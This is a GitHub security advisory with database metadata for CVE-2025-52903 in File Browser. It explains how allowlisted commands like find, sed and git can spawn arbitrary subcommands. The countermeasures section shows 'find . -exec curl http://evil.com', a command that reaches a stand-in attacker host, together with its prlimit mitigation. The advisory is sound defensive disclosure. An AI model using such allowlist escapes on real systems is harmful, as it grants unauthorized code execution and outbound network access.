ghsa-3q2w-42mv-cph4
Vulnerability from github
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands
permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find
command and nothing else, this restriction can be circumvented by using the -exec
flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands
permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands
for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit
command can be used to prevent the execution of subcommands:
```bash $ find . -exec curl http://evil.com {} \;
[...] $ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable ``` It should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones. WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag. As a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image. ## Timeline ## * `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199. * `2025-03-26` Identified the vulnerability in version 2.32.0 ## References ## * [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html) * ["Distroless" Container Images.](https://github.com/GoogleContainerTools/distroless) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/)){ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/filebrowser/filebrowser/v2" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.33.10" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/filebrowser/filebrowser" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "1.11.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-52903" ], "database_specific": { "cwe_ids": [ "CWE-183", "CWE-749", "CWE-77", "CWE-88" ], "github_reviewed": true, "github_reviewed_at": "2025-06-27T15:19:16Z", "nvd_published_at": "2025-06-26T19:15:21Z", "severity": "HIGH" }, "details": "## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))", "id": "GHSA-3q2w-42mv-cph4", "modified": "2025-06-27T15:19:16Z", "published": "2025-06-27T15:19:16Z", "references": [ { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903" }, { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/issues/5199" }, { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108" }, { "type": "PACKAGE", "url": "https://github.com/filebrowser/filebrowser" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "filebrowser Allows Shell Commands to Spawn Other Commands" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.